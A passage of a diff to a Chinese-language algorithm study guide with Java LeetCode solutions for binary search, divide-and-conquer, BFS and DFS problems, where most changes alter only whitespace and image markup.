+在 h 的赋值表达式为 h = mid 的情况下，如果循环条件为 l <= h，那么会出现循环无法退出的情况，因此循环条件只能是 l < h。以下演示了循环条件为 l <= h 时循环无法退出的情况：
 
 ```text
-nums = {0, 1, 2}, key = 1
-l   m   h
-0   1   2  nums[m] >= key
-0   0   1  nums[m] < key
-1   1   1  nums[m] >= key
-1   1   1  nums[m] >= key
+nums = {0, 1, 2}, key = 1
+l   m   h
+0   1   2  nums[m] >= key
+0   0   1  nums[m] < key
+1   1   1  nums[m] >= key
+1   1   1  nums[m] >= key
 ...
 ```
 
-当循环体退出时，不表示没有查找到 key，因此最后返回的结果不应该为 -1。为了验证有没有查找到，需要在调用端判断一下返回位置上的值和 key 是否相等。
+当循环体退出时，不表示没有查找到 key，因此最后返回的结果不应该为 -1。为了验证有没有查找到，需要在调用端判断一下返回位置上的值和 key 是否相等。
 
-**求开方**
+**求开方** 
 
-[69. Sqrt(x) (Easy)](https://leetcode.com/problems/sqrtx/description/)
+[69. Sqrt(x) (Easy)](https://leetcode.com/problems/sqrtx/description/)
 
 ```html
-Input: 4
-Output: 2
+Input: 4
+Output: 2
 
-Input: 8
-Output: 2
-Explanation: The square root of 8 is 2.82842..., and since we want to return an integer, the decimal part will be truncated.
+Input: 8
+Output: 2
+Explanation: The square root of 8 is 2.82842..., and since we want to return an integer, the decimal part will be truncated.
 ```
 
-一个数 x 的开方 sqrt 一定在 0 ~ x 之间，并且满足 sqrt == x / sqrt。可以利用二分查找在 0 ~ x 之间查找 sqrt。
+一个数 x 的开方 sqrt 一定在 0 \~ x 之间，并且满足 sqrt == x / sqrt。可以利用二分查找在 0 \~ x 之间查找 sqrt。
 
-对于 x = 8，它的开方是 2.82842...，最后应该返回 2 而不是 3。在循环条件为 l <= h 并且循环退出时，h 总是比 l 小 1，也就是说 h = 2，l = 3，因此最后的返回值应该为 h 而不是 l。
+对于 x = 8，它的开方是 2.82842...，最后应该返回 2 而不是 3。在循环条件为 l <= h 并且循环退出时，h 总是比 l 小 1，也就是说 h = 2，l = 3，因此最后的返回值应该为 h 而不是 l。
 
 ```java
-public int mySqrt(int x) {
-    if (x <= 1) {
-        return x;
-    }
-    int l = 1, h = x;
-    while (l <= h) {
-        int mid = l + (h - l) / 2;
-        int sqrt = x / mid;
-        if (sqrt == mid) {
-            return mid;
-        } else if (mid > sqrt) {
-            h = mid - 1;
-        } else {
-            l = mid + 1;
-        }
-    }
-    return h;
+public int mySqrt(int x) {
+    if (x <= 1) {
+        return x;
+    }
+    int l = 1, h = x;
+    while (l <= h) {
+        int mid = l + (h - l) / 2;
+        int sqrt = x / mid;
+        if (sqrt == mid) {
+            return mid;
+        } else if (mid > sqrt) {
+            h = mid - 1;
+        } else {
+            l = mid + 1;
+        }
+    }
+    return h;
 }
 ```
 
-**大于给定元素的最小元素**
+**大于给定元素的最小元素** 
 
-[744. Find Smallest Letter Greater Than Target (Easy)](https://leetcode.com/problems/find-smallest-letter-greater-than-target/description/)
+[744. Find Smallest Letter Greater Than Target (Easy)](https://leetcode.com/problems/find-smallest-letter-greater-than-target/description/)
 
 ```html
 Input:
-letters = ["c", "f", "j"]
-target = "d"
-Output: "f"
+letters = ["c", "f", "j"]
+target = "d"
+Output: "f"
 
 Input:
-letters = ["c", "f", "j"]
-target = "k"
-Output: "c"
+letters = ["c", "f", "j"]
+target = "k"
+Output: "c"
 ```
 
-题目描述：给定一个有序的字符数组 letters 和一个字符 target，要求找出 letters 中大于 target 的最小字符，如果找不到就返回第 1 个字符。
+题目描述：给定一个有序的字符数组 letters 和一个字符 target，要求找出 letters 中大于 target 的最小字符，如果找不到就返回第 1 个字符。
 
 ```java
-public char nextGreatestLetter(char[] letters, char target) {
-    int n = letters.length;
-    int l = 0, h = n - 1;
-    while (l <= h) {
-        int m = l + (h - l) / 2;
-        if (letters[m] <= target) {
-            l = m + 1;
-        } else {
-            h = m - 1;
-        }
-    }
-    return l < n ? letters[l] : letters[0];
+public char nextGreatestLetter(char[] letters, char target) {
+    int n = letters.length;
+    int l = 0, h = n - 1;
+    while (l <= h) {
+        int m = l + (h - l) / 2;
+        if (letters[m] <= target) {
+            l = m + 1;
+        } else {
+            h = m - 1;
+        }
+    }
+    return l < n ? letters[l] : letters[0];
 }
 ```
 
-**有序数组的 Single Element**
+**有序数组的 Single Element** 
 
-[540. Single Element in a Sorted Array (Medium)](https://leetcode.com/problems/single-element-in-a-sorted-array/description/)
+[540. Single Element in a Sorted Array (Medium)](https://leetcode.com/problems/single-element-in-a-sorted-array/description/)
 
 ```html
-Input: [1, 1, 2, 3, 3, 4, 4, 8, 8]
-Output: 2
+Input: [1, 1, 2, 3, 3, 4, 4, 8, 8]
+Output: 2
 ```
 
-题目描述：一个有序数组只有一个数不出现两次，找出这个数。要求以 O(logN) 时间复杂度进行求解。
+题目描述：一个有序数组只有一个数不出现两次，找出这个数。要求以 O(logN) 时间复杂度进行求解。
 
-令 index 为 Single Element 在数组中的位置。如果 m 为偶数，并且 m + 1 < index，那么 nums[m] == nums[m + 1]；m + 1 >= index，那么 nums[m] != nums[m + 1]。
+令 index 为 Single Element 在数组中的位置。如果 m 为偶数，并且 m + 1 < index，那么 nums[m] == nums[m + 1]；m + 1 >= index，那么 nums[m] != nums[m + 1]。
 
-从上面的规律可以知道，如果 nums[m] == nums[m + 1]，那么 index 所在的数组位置为 [m + 2, h]，此时令 l = m + 2；如果 nums[m] != nums[m + 1]，那么 index 所在的数组位置为 [l, m]，此时令 h = m。
+从上面的规律可以知道，如果 nums[m] == nums[m + 1]，那么 index 所在的数组位置为 [m + 2, h]，此时令 l = m + 2；如果 nums[m] != nums[m + 1]，那么 index 所在的数组位置为 [l, m]，此时令 h = m。
 
-因为 h 的赋值表达式为 h = m，那么循环条件也就只能使用 l < h 这种形式。
+因为 h 的赋值表达式为 h = m，那么循环条件也就只能使用 l < h 这种形式。
 
 ```java
-public int singleNonDuplicate(int[] nums) {
-    int l = 0, h = nums.length - 1;
-    while (l < h) {
-        int m = l + (h - l) / 2;
-        if (m % 2 == 1) {
-            m--;   // 保证 l/h/m 都在偶数位，使得查找区间大小一直都是奇数
-        }
-        if (nums[m] == nums[m + 1]) {
-            l = m + 2;
-        } else {
-            h = m;
-        }
-    }
-    return nums[l];
+public int singleNonDuplicate(int[] nums) {
+    int l = 0, h = nums.length - 1;
+    while (l < h) {
+        int m = l + (h - l) / 2;
+        if (m % 2 == 1) {
+            m--;   // 保证 l/h/m 都在偶数位，使得查找区间大小一直都是奇数
+        }
+        if (nums[m] == nums[m + 1]) {
+            l = m + 2;
+        } else {
+            h = m;
+        }
+    }
+    return nums[l];
 }
 ```
 
-**第一个错误的版本**
+**第一个错误的版本** 
 
-[278. First Bad Version (Easy)](https://leetcode.com/problems/first-bad-version/description/)
+[278. First Bad Version (Easy)](https://leetcode.com/problems/first-bad-version/description/)
 
-题目描述：给定一个元素 n 代表有 [1, 2, ..., n] 版本，可以调用 isBadVersion(int x) 知道某个版本是否错误，要求找到第一个错误的版本。
+题目描述：给定一个元素 n 代表有 [1, 2, ..., n] 版本，可以调用 isBadVersion(int x) 知道某个版本是否错误，要求找到第一个错误的版本。
 
-如果第 m 个版本出错，则表示第一个错误的版本在 [l, m] 之间，令 h = m；否则第一个错误的版本在 [m + 1, h] 之间，令 l = m + 1。
+如果第 m 个版本出错，则表示第一个错误的版本在 [l, m] 之间，令 h = m；否则第一个错误的版本在 [m + 1, h] 之间，令 l = m + 1。
 
-因为 h 的赋值表达式为 h = m，因此循环条件为 l < h。
+因为 h 的赋值表达式为 h = m，因此循环条件为 l < h。
 
 ```java
-public int firstBadVersion(int n) {
-    int l = 1, h = n;
-    while (l < h) {
-        int mid = l + (h - l) / 2;
-        if (isBadVersion(mid)) {
-            h = mid;
-        } else {
-            l = mid + 1;
-        }
-    }
-    return l;
+public int firstBadVersion(int n) {
+    int l = 1, h = n;
+    while (l < h) {
+        int mid = l + (h - l) / 2;
+        if (isBadVersion(mid)) {
+            h = mid;
+        } else {
+            l = mid + 1;
+        }
+    }
+    return l;
 }
 ```
 
-**旋转数组的最小数字**
+**旋转数组的最小数字** 
 
-[153. Find Minimum in Rotated Sorted Array (Medium)](https://leetcode.com/problems/find-minimum-in-rotated-sorted-array/description/)
+[153. Find Minimum in Rotated Sorted Array (Medium)](https://leetcode.com/problems/find-minimum-in-rotated-sorted-array/description/)
 
 ```html
-Input: [3,4,5,1,2],
-Output: 1
+Input: [3,4,5,1,2],
+Output: 1
 ```
 
 ```java
-public int findMin(int[] nums) {
-    int l = 0, h = nums.length - 1;
-    while (l < h) {
-        int m = l + (h - l) / 2;
-        if (nums[m] <= nums[h]) {
-            h = m;
-        } else {
-            l = m + 1;
-        }
-    }
-    return nums[l];
+public int findMin(int[] nums) {
+    int l = 0, h = nums.length - 1;
+    while (l < h) {
+        int m = l + (h - l) / 2;
+        if (nums[m] <= nums[h]) {
+            h = m;
+        } else {
+            l = m + 1;
+        }
+    }
+    return nums[l];
 }
 ```
 
-**查找区间**
+**查找区间** 
 
-[34. Search for a Range (Medium)](https://leetcode.com/problems/search-for-a-range/description/)
+[34. Search for a Range (Medium)](https://leetcode.com/problems/search-for-a-range/description/)
 
 ```html
-Input: nums = [5,7,7,8,8,10], target = 8
-Output: [3,4]
+Input: nums = [5,7,7,8,8,10], target = 8
+Output: [3,4]
 
-Input: nums = [5,7,7,8,8,10], target = 6
-Output: [-1,-1]
+Input: nums = [5,7,7,8,8,10], target = 6
+Output: [-1,-1]
 ```
 
 ```java
-public int[] searchRange(int[] nums, int target) {
-    int first = binarySearch(nums, target);
-    int last = binarySearch(nums, target + 1) - 1;
-    if (first == nums.length || nums[first] != target) {
-        return new int[]{-1, -1};
-    } else {
-        return new int[]{first, Math.max(first, last)};
-    }
+public int[] searchRange(int[] nums, int target) {
+    int first = binarySearch(nums, target);
+    int last = binarySearch(nums, target + 1) - 1;
+    if (first == nums.length || nums[first] != target) {
+        return new int[]{-1, -1};
+    } else {
+        return new int[]{first, Math.max(first, last)};
+    }
 }
 
-private int binarySearch(int[] nums, int target) {
-    int l = 0, h = nums.length; // 注意 h 的初始值
-    while (l < h) {
-        int m = l + (h - l) / 2;
-        if (nums[m] >= target) {
-            h = m;
-        } else {
-            l = m + 1;
-        }
-    }
-    return l;
+private int binarySearch(int[] nums, int target) {
+    int l = 0, h = nums.length; // 注意 h 的初始值
+    while (l < h) {
+        int m = l + (h - l) / 2;
+        if (nums[m] >= target) {
+            h = m;
+        } else {
+            l = m + 1;
+        }
+    }
+    return l;
 }
 ```
 
-## 分治
+## 分治
 
-**给表达式加括号**
+**给表达式加括号** 
 
-[241. Different Ways to Add Parentheses (Medium)](https://leetcode.com/problems/different-ways-to-add-parentheses/description/)
+[241. Different Ways to Add Parentheses (Medium)](https://leetcode.com/problems/different-ways-to-add-parentheses/description/)
 
 ```html
-Input: "2-1-1".
+Input: "2-1-1".
 
-((2-1)-1) = 0
-(2-(1-1)) = 2
+((2-1)-1) = 0
+(2-(1-1)) = 2
 
-Output : [0, 2]
+Output : [0, 2]
 ```
 
 ```java
-public List<Integer> diffWaysToCompute(String input) {
-    List<Integer> ways = new ArrayList<>();
-    for (int i = 0; i < input.length(); i++) {
-        char c = input.charAt(i);
-        if (c == '+' || c == '-' || c == '*') {
-            List<Integer> left = diffWaysToCompute(input.substring(0, i));
-            List<Integer> right = diffWaysToCompute(input.substring(i + 1));
-            for (int l : left) {
-                for (int r : right) {
-                    switch (c) {
-                        case '+':
-                            ways.add(l + r);
-                            break;
-                        case '-':
-                            ways.add(l - r);
-                            break;
-                        case '*':
-                            ways.add(l * r);
-                            break;
-                    }
-                }
-            }
-        }
-    }
-    if (ways.size() == 0) {
-        ways.add(Integer.valueOf(input));
-    }
-    return ways;
+public List<Integer> diffWaysToCompute(String input) {
+    List<Integer> ways = new ArrayList<>();
+    for (int i = 0; i < input.length(); i++) {
+        char c = input.charAt(i);
+        if (c == '+' || c == '-' || c == '*') {
+            List<Integer> left = diffWaysToCompute(input.substring(0, i));
+            List<Integer> right = diffWaysToCompute(input.substring(i + 1));
+            for (int l : left) {
+                for (int r : right) {
+                    switch (c) {
+                        case '+':
+                            ways.add(l + r);
+                            break;
+                        case '-':
+                            ways.add(l - r);
+                            break;
+                        case '*':
+                            ways.add(l * r);
+                            break;
+                    }
+                }
+            }
+        }
+    }
+    if (ways.size() == 0) {
+        ways.add(Integer.valueOf(input));
+    }
+    return ways;
 }
 ```
 
-## 搜索
+## 搜索
 
 深度优先搜索和广度优先搜索广泛运用于树和图中，但是它们的应用远远不止如此。
 
-### BFS
+### BFS
 
-![](index_files/4ff355cf-9a7f-4468-af43-e5b02038facc.jpg)
+<div align="center"> <img src="pics/4ff355cf-9a7f-4468-af43-e5b02038facc.jpg"/> </div><br>
 
 广度优先搜索一层一层地进行遍历，每层遍历都以上一层遍历的结果作为起点，遍历一个距离能访问到的所有节点。需要注意的是，遍历过的节点不能再次被遍历。
 
 第一层：
 
-- 0 -> {6,2,1,5}
+- 0 -> {6,2,1,5}
 
 第二层：
 
-- 6 -> {4}
-- 2 -> {}
-- 1 -> {}
-- 5 -> {3}
+- 6 -> {4}
+- 2 -> {}
+- 1 -> {}
+- 5 -> {3}
 
 第三层：
 
-- 4 -> {}
-- 3 -> {}
+- 4 -> {}
+- 3 -> {}
 
-每一层遍历的节点都与根节点距离相同。设 d<sub>i</sub> 表示第 i 个节点与根节点的距离，推导出一个结论：对于先遍历的节点 i 与后遍历的节点 j，有 d<sub>i</sub> <= d<sub>j</sub>。利用这个结论，可以求解最短路径等 **最优解** 问题：第一次遍历到目的节点，其所经过的路径为最短路径。应该注意的是，使用 BFS 只能求解无权图的最短路径。
+每一层遍历的节点都与根节点距离相同。设 d<sub>i</sub> 表示第 i 个节点与根节点的距离，推导出一个结论：对于先遍历的节点 i 与后遍历的节点 j，有 d<sub>i</sub> <= d<sub>j</sub>。利用这个结论，可以求解最短路径等  **最优解**  问题：第一次遍历到目的节点，其所经过的路径为最短路径。应该注意的是，使用 BFS 只能求解无权图的最短路径。
 
-在程序实现 BFS 时需要考虑以下问题：
+在程序实现 BFS 时需要考虑以下问题：
 
-- 队列：用来存储每一轮遍历得到的节点；
-- 标记：对于遍历过的节点，应该将它标记，防止重复遍历。
+- 队列：用来存储每一轮遍历得到的节点；
+- 标记：对于遍历过的节点，应该将它标记，防止重复遍历。
 
-**计算在网格中从原点到特定点的最短路径长度**
+**计算在网格中从原点到特定点的最短路径长度** 
 
 ```html
 [[1,1,0,1],
- [1,0,1,0],
- [1,1,1,1],
- [1,0,1,1]]
+ [1,0,1,0],
+ [1,1,1,1],
+ [1,0,1,1]]
 ```
 
-1 表示可以经过某个位置，求解从 (0, 0) 位置到 (tr, tc) 位置的最短路径长度。
+1 表示可以经过某个位置，求解从 (0, 0) 位置到 (tr, tc) 位置的最短路径长度。
 
 ```java
-public int minPathLength(int[][] grids, int tr, int tc) {
-    final int[][] direction = {{1, 0}, {-1, 0}, {0, 1}, {0, -1}};
-    final int m = grids.length, n = grids[0].length;
-    Queue<Pair<Integer, Integer>> queue = new LinkedList<>();
-    queue.add(new Pair<>(0, 0));
-    int pathLength = 0;
-    while (!queue.isEmpty()) {
-        int size = queue.size();
-        pathLength++;
-        while (size-- > 0) {
-            Pair<Integer, Integer> cur = queue.poll();
-            int cr = cur.getKey(), cc = cur.getValue();
-            grids[cr][cc] = 0; // 标记
-            for (int[] d : direction) {
-                int nr = cr + d[0], nc = cc + d[1];
-                if (nr < 0 || nr >= m || nc < 0 || nc >= n || grids[nr][nc] == 0) {
-                    continue;
-                }
-                if (nr == tr && nc == tc) {
-                    return pathLength;
-                }
-                queue.add(new Pair<>(nr, nc));
-            }
-        }
-    }
-    return -1;
+public int minPathLength(int[][] grids, int tr, int tc) {
+    final int[][] direction = {{1, 0}, {-1, 0}, {0, 1}, {0, -1}};
+    final int m = grids.length, n = grids[0].length;
+    Queue<Pair<Integer, Integer>> queue = new LinkedList<>();
+    queue.add(new Pair<>(0, 0));
+    int pathLength = 0;
+    while (!queue.isEmpty()) {
+        int size = queue.size();
+        pathLength++;
+        while (size-- > 0) {
+            Pair<Integer, Integer> cur = queue.poll();
+            int cr = cur.getKey(), cc = cur.getValue();
+            grids[cr][cc] = 0; // 标记
+            for (int[] d : direction) {
+                int nr = cr + d[0], nc = cc + d[1];
+                if (nr < 0 || nr >= m || nc < 0 || nc >= n || grids[nr][nc] == 0) {
+                    continue;
+                }
+                if (nr == tr && nc == tc) {
+                    return pathLength;
+                }
+                queue.add(new Pair<>(nr, nc));
+            }
+        }
+    }
+    return -1;
 }
 ```
 
-**组成整数的最小平方数数量**
+**组成整数的最小平方数数量** 
 
-[279. Perfect Squares (Medium)](https://leetcode.com/problems/perfect-squares/description/)
+[279. Perfect Squares (Medium)](https://leetcode.com/problems/perfect-squares/description/)
 
 ```html
-For example, given n = 12, return 3 because 12 = 4 + 4 + 4; given n = 13, return 2 because 13 = 4 + 9.
+For example, given n = 12, return 3 because 12 = 4 + 4 + 4; given n = 13, return 2 because 13 = 4 + 9.
 ```
 
 可以将每个整数看成图中的一个节点，如果两个整数之差为一个平方数，那么这两个整数所在的节点就有一条边。
 
-要求解最小的平方数数量，就是求解从节点 n 到节点 0 的最短路径。
+要求解最小的平方数数量，就是求解从节点 n 到节点 0 的最短路径。
 
 本题也可以用动态规划求解，在之后动态规划部分中会再次出现。
 
 ```java
-public int numSquares(int n) {
-    List<Integer> squares = generateSquares(n);
-    Queue<Integer> queue = new LinkedList<>();
-    boolean[] marked = new boolean[n + 1];
-    queue.add(n);
-    marked[n] = true;
-    int level = 0;
-    while (!queue.isEmpty()) {
-        int size = queue.size();
-        level++;
-        while (size-- > 0) {
-            int cur = queue.poll();
-            for (int s : squares) {
-                int next = cur - s;
-                if (next < 0) {
-                    break;
-                }
-                if (next == 0) {
-                    return level;
-                }
-                if (marked[next]) {
-                    continue;
-                }
-                marked[next] = true;
-                queue.add(next);
-            }
-        }
-    }
-    return n;
+public int numSquares(int n) {
+    List<Integer> squares = generateSquares(n);
+    Queue<Integer> queue = new LinkedList<>();
+    boolean[] marked = new boolean[n + 1];
+    queue.add(n);
+    marked[n] = true;
+    int level = 0;
+    while (!queue.isEmpty()) {
+        int size = queue.size();
+        level++;
+        while (size-- > 0) {
+            int cur = queue.poll();
+            for (int s : squares) {
+                int next = cur - s;
+                if (next < 0) {
+                    break;
+                }
+                if (next == 0) {
+                    return level;
+                }
+                if (marked[next]) {
+                    continue;
+                }
+                marked[next] = true;
+                queue.add(next);
+            }
+        }
+    }
+    return n;
 }
 
 /**
- * 生成小于 n 的平方数序列
- * @return 1,4,9,...
- */
-private List<Integer> generateSquares(int n) {
-    List<Integer> squares = new ArrayList<>();
-    int square = 1;
-    int diff = 3;
-    while (square <= n) {
-        squares.add(square);
-        square += diff;
-        diff += 2;
-    }
-    return squares;
+ * 生成小于 n 的平方数序列
+ * @return 1,4,9,...
+ */
+private List<Integer> generateSquares(int n) {
+    List<Integer> squares = new ArrayList<>();
+    int square = 1;
+    int diff = 3;
+    while (square <= n) {
+        squares.add(square);
+        square += diff;
+        diff += 2;
+    }
+    return squares;
 }
 ```
 
-**最短单词路径**
+**最短单词路径** 
 
-[127. Word Ladder (Medium)](https://leetcode.com/problems/word-ladder/description/)
+[127. Word Ladder (Medium)](https://leetcode.com/problems/word-ladder/description/)
 
 ```html
 Input:
-beginWord = "hit",
-endWord = "cog",
-wordList = ["hot","dot","dog","lot","log","cog"]
+beginWord = "hit",
+endWord = "cog",
+wordList = ["hot","dot","dog","lot","log","cog"]
 
-Output: 5
+Output: 5
 
-Explanation: As one shortest transformation is "hit" -> "hot" -> "dot" -> "dog" -> "cog",
-return its length 5.
+Explanation: As one shortest transformation is "hit" -> "hot" -> "dot" -> "dog" -> "cog",
+return its length 5.
 ```
 
 ```html
 Input:
-beginWord = "hit"
-endWord = "cog"
-wordList = ["hot","dot","dog","lot","log"]
+beginWord = "hit"
+endWord = "cog"
+wordList = ["hot","dot","dog","lot","log"]
 
-Output: 0
+Output: 0
 
-Explanation: The endWord "cog" is not in wordList, therefore no possible transformation.
+Explanation: The endWord "cog" is not in wordList, therefore no possible transformation.
 ```
 
-题目描述：找出一条从 beginWord 到 endWord 的最短路径，每次移动规定为改变一个字符，并且改变之后的字符串必须在 wordList 中。
+题目描述：找出一条从 beginWord 到 endWord 的最短路径，每次移动规定为改变一个字符，并且改变之后的字符串必须在 wordList 中。
 
 ```java
-public int ladderLength(String beginWord, String endWord, List<String> wordList) {
-    wordList.add(beginWord);
-    int N = wordList.size();
-    int start = N - 1;
-    int end = 0;
-    while (end < N && !wordList.get(end).equals(endWord)) {
-        end++;
-    }
-    if (end == N) {
-        return 0;
-    }
-    List<Integer>[] graphic = buildGraphic(wordList);
-    return getShortestPath(graphic, start, end);
+public int ladderLength(String beginWord, String endWord, List<String> wordList) {
+    wordList.add(beginWord);
+    int N = wordList.size();
+    int start = N - 1;
+    int end = 0;
+    while (end < N && !wordList.get(end).equals(endWord)) {
+        end++;
+    }
+    if (end == N) {
+        return 0;
+    }
+    List<Integer>[] graphic = buildGraphic(wordList);
+    return getShortestPath(graphic, start, end);
 }
 
-private List<Integer>[] buildGraphic(List<String> wordList) {
-    int N = wordList.size();
-    List<Integer>[] graphic = new List[N];
-    for (int i = 0; i < N; i++) {
-        graphic[i] = new ArrayList<>();
-        for (int j = 0; j < N; j++) {
-            if (isConnect(wordList.get(i), wordList.get(j))) {
-                graphic[i].add(j);
-            }
-        }
-    }
-    return graphic;
+private List<Integer>[] buildGraphic(List<String> wordList) {
+    int N = wordList.size();
+    List<Integer>[] graphic = new List[N];
+    for (int i = 0; i < N; i++) {
+        graphic[i] = new ArrayList<>();
+        for (int j = 0; j < N; j++) {
+            if (isConnect(wordList.get(i), wordList.get(j))) {
+                graphic[i].add(j);
+            }
+        }
+    }
+    return graphic;
 }
 
-private boolean isConnect(String s1, String s2) {
-    int diffCnt = 0;
-    for (int i = 0; i < s1.length() && diffCnt <= 1; i++) {
-        if (s1.charAt(i) != s2.charAt(i)) {
-            diffCnt++;
-        }
-    }
-    return diffCnt == 1;
+private boolean isConnect(String s1, String s2) {
+    int diffCnt = 0;
+    for (int i = 0; i < s1.length() && diffCnt <= 1; i++) {
+        if (s1.charAt(i) != s2.charAt(i)) {
+            diffCnt++;
+        }
+    }
+    return diffCnt == 1;
 }
 
-private int getShortestPath(List<Integer>[] graphic, int start, int end) {
-    Queue<Integer> queue = new LinkedList<>();
-    boolean[] marked = new boolean[graphic.length];
-    queue.add(start);
-    marked[start] = true;
-    int path = 1;
-    while (!queue.isEmpty()) {
-        int size = queue.size();
-        path++;
-        while (size-- > 0) {
-            int cur = queue.poll();
-            for (int next : graphic[cur]) {
-                if (next == end) {
-                    return path;
-                }
-                if (marked[next]) {
-                    continue;
-                }
-                marked[next] = true;
-                queue.add(next);
-            }
-        }
-    }
-    return 0;
+private int getShortestPath(List<Integer>[] graphic, int start, int end) {
+    Queue<Integer> queue = new LinkedList<>();
+    boolean[] marked = new boolean[graphic.length];
+    queue.add(start);
+    marked[start] = true;
+    int path = 1;
+    while (!queue.isEmpty()) {
+        int size = queue.size();
+        path++;
+        while (size-- > 0) {
+            int cur = queue.poll();
+            for (int next : graphic[cur]) {
+                if (next == end) {
+                    return path;
+                }
+                if (marked[next]) {
+                    continue;
+                }
+                marked[next] = true;
+                queue.add(next);
+            }
+        }
+    }
+    return 0;
 }
 ```
 
-### DFS
+### DFS
 
-![](index_files/f7f7e3e5-7dd4-4173-9999-576b9e2ac0a2.png)
+<div align="center"> <img src="pics/f7f7e3e5-7dd4-4173-9999-576b9e2ac0a2.png"/> </div><br>
 
 广度优先搜索一层一层遍历，每一层得到的所有新节点，要用队列存储起来以备下一层遍历的时候再遍历。
 
-而深度优先搜索在得到一个新节点时立即对新节点进行遍历：从节点 0 出发开始遍历，得到到新节点 6 时，立马对新节点 6 进行遍历，得到新节点 4；如此反复以这种方式遍历新节点，直到没有新节点了，此时返回。返回到根节点 0 的情况是，继续对根节点 0 进行遍历，得到新节点 2，然后继续以上步骤。
+而深度优先搜索在得到一个新节点时立即对新节点进行遍历：从节点 0 出发开始遍历，得到到新节点 6 时，立马对新节点 6 进行遍历，得到新节点 4；如此反复以这种方式遍历新节点，直到没有新节点了，此时返回。返回到根节点 0 的情况是，继续对根节点 0 进行遍历，得到新节点 2，然后继续以上步骤。
 
-从一个节点出发，使用 DFS 对一个图进行遍历时，能够遍历到的节点都是从初始节点可达的，DFS 常用来求解这种 **可达性** 问题。
+从一个节点出发，使用 DFS 对一个图进行遍历时，能够遍历到的节点都是从初始节点可达的，DFS 常用来求解这种  **可达性**  问题。
 
-在程序实现 DFS 时需要考虑以下问题：
+在程序实现 DFS 时需要考虑以下问题：
 
-- 栈：用栈来保存当前节点信息，当遍历新节点返回时能够继续遍历当前节点。可以使用递归栈。
-- 标记：和 BFS 一样同样需要对已经遍历过的节点进行标记。
+- 栈：用栈来保存当前节点信息，当遍历新节点返回时能够继续遍历当前节点。可以使用递归栈。
+- 标记：和 BFS 一样同样需要对已经遍历过的节点进行标记。
 
-**查找最大的连通面积**
+**查找最大的连通面积** 
 
-[695. Max Area of Island (Easy)](https://leetcode.com/problems/max-area-of-island/description/)
+[695. Max Area of Island (Easy)](https://leetcode.com/problems/max-area-of-island/description/)
 
 ```html
 [[0,0,1,0,0,0,0,1,0,0,0,0,0],
- [0,0,0,0,0,0,0,1,1,1,0,0,0],
- [0,1,1,0,1,0,0,0,0,0,0,0,0],
- [0,1,0,0,1,1,0,0,1,0,1,0,0],
- [0,1,0,0,1,1,0,0,1,1,1,0,0],
- [0,0,0,0,0,0,0,0,0,0,1,0,0],
- [0,0,0,0,0,0,0,1,1,1,0,0,0],
- [0,0,0,0,0,0,0,1,1,0,0,0,0]]
+ [0,0,0,0,0,0,0,1,1,1,0,0,0],
+ [0,1,1,0,1,0,0,0,0,0,0,0,0],
+ [0,1,0,0,1,1,0,0,1,0,1,0,0],
+ [0,1,0,0,1,1,0,0,1,1,1,0,0],
+ [0,0,0,0,0,0,0,0,0,0,1,0,0],
+ [0,0,0,0,0,0,0,1,1,1,0,0,0],
+ [0,0,0,0,0,0,0,1,1,0,0,0,0]]
 ```
 
 ```java
-private int m, n;
-private int[][] direction = {{0, 1}, {0, -1}, {1, 0}, {-1, 0}};
+private int m, n;
+private int[][] direction = {{0, 1}, {0, -1}, {1, 0}, {-1, 0}};
 
-public int maxAreaOfIsland(int[][] grid) {
-    if (grid == null || grid.length == 0) {
-        return 0;
-    }
-    m = grid.length;
-    n = grid[0].length;
-    int maxArea = 0;
-    for (int i = 0; i < m; i++) {
-        for (int j = 0; j < n; j++) {
-            maxArea = Math.max(maxArea, dfs(grid, i, j));
-        }
-    }
-    return maxArea;
+public int maxAreaOfIsland(int[][] grid) {
+    if (grid == null || grid.length == 0) {
+        return 0;
+    }
+    m = grid.length;
+    n = grid[0].length;
+    int maxArea = 0;
+    for (int i = 0; i < m; i++) {
+        for (int j = 0; j < n; j++) {
+            maxArea = Math.max(maxArea, dfs(grid, i, j));
+        }
+    }
+    return maxArea;
 }
 
-private int dfs(int[][] grid, int r, int c) {
-    if (r < 0 || r >= m || c < 0 || c >= n || grid[r][c] == 0) {
-        return 0;
-    }
-    grid[r][c] = 0;
-    int area = 1;
-    for (int[] d : direction) {
-        area += dfs(grid, r + d[0], c + d[1]);
-    }
-    return area;
+private int dfs(int[][] grid, int r, int c) {
+    if (r < 0 || r >= m || c < 0 || c >= n || grid[r][c] == 0) {
+        return 0;
+    }
+    grid[r][c] = 0;
+    int area = 1;
+    for (int[] d : direction) {
+        area += dfs(grid, r + d[0], c + d[1]);
+    }
+    return area;
 }
 ```
 
-**矩阵中的连通分量数目**
+**矩阵中的连通分量数目** 
 
-[200. Number of Islands (Medium)](https://leetcode.com/problems/number-of-islands/description/)
+[200. Number of Islands (Medium)](https://leetcode.com/problems/number-of-islands/description/)
 
 ```html
 Input:
@@ -1423,2201 +1479,2201 @@ Input:
 00100
 00011
 
-Output: 3
+Output: 3
 ```
 
 可以将矩阵表示看成一张有向图。
 
 ```java
-private int m, n;
-private int[][] direction = {{0, 1}, {0, -1}, {1, 0}, {-1, 0}};
+private int m, n;
+private int[][] direction = {{0, 1}, {0, -1}, {1, 0}, {-1, 0}};
 
-public int numIslands(char[][] grid) {
-    if (grid == null || grid.length == 0) {
-        return 0;
-    }
-    m = grid.length;
-    n = grid[0].length;
-    int islandsNum = 0;
-    for (int i = 0; i < m; i++) {
-        for (int j = 0; j < n; j++) {
-            if (grid[i][j] != '0') {
-                dfs(grid, i, j);
-                islandsNum++;
-            }
-        }
-    }
-    return islandsNum;
+public int numIslands(char[][] grid) {
+    if (grid == null || grid.length == 0) {
+        return 0;
+    }
+    m = grid.length;
+    n = grid[0].length;
+    int islandsNum = 0;
+    for (int i = 0; i < m; i++) {
+        for (int j = 0; j < n; j++) {
+            if (grid[i][j] != '0') {
+                dfs(grid, i, j);
+                islandsNum++;
+            }
+        }
+    }
+    return islandsNum;
 }
 
-private void dfs(char[][] grid, int i, int j) {
-    if (i < 0 || i >= m || j < 0 || j >= n || grid[i][j] == '0') {
-        return;
-    }
-    grid[i][j] = '0';
-    for (int[] d : direction) {
-        dfs(grid, i + d[0], j + d[1]);
-    }
+private void dfs(char[][] grid, int i, int j) {
+    if (i < 0 || i >= m || j < 0 || j >= n || grid[i][j] == '0') {
+        return;
+    }
+    grid[i][j] = '0';
+    for (int[] d : direction) {
+        dfs(grid, i + d[0], j + d[1]);
+    }
 }
 ```
 
-**好友关系的连通分量数目**
+**好友关系的连通分量数目** 
 
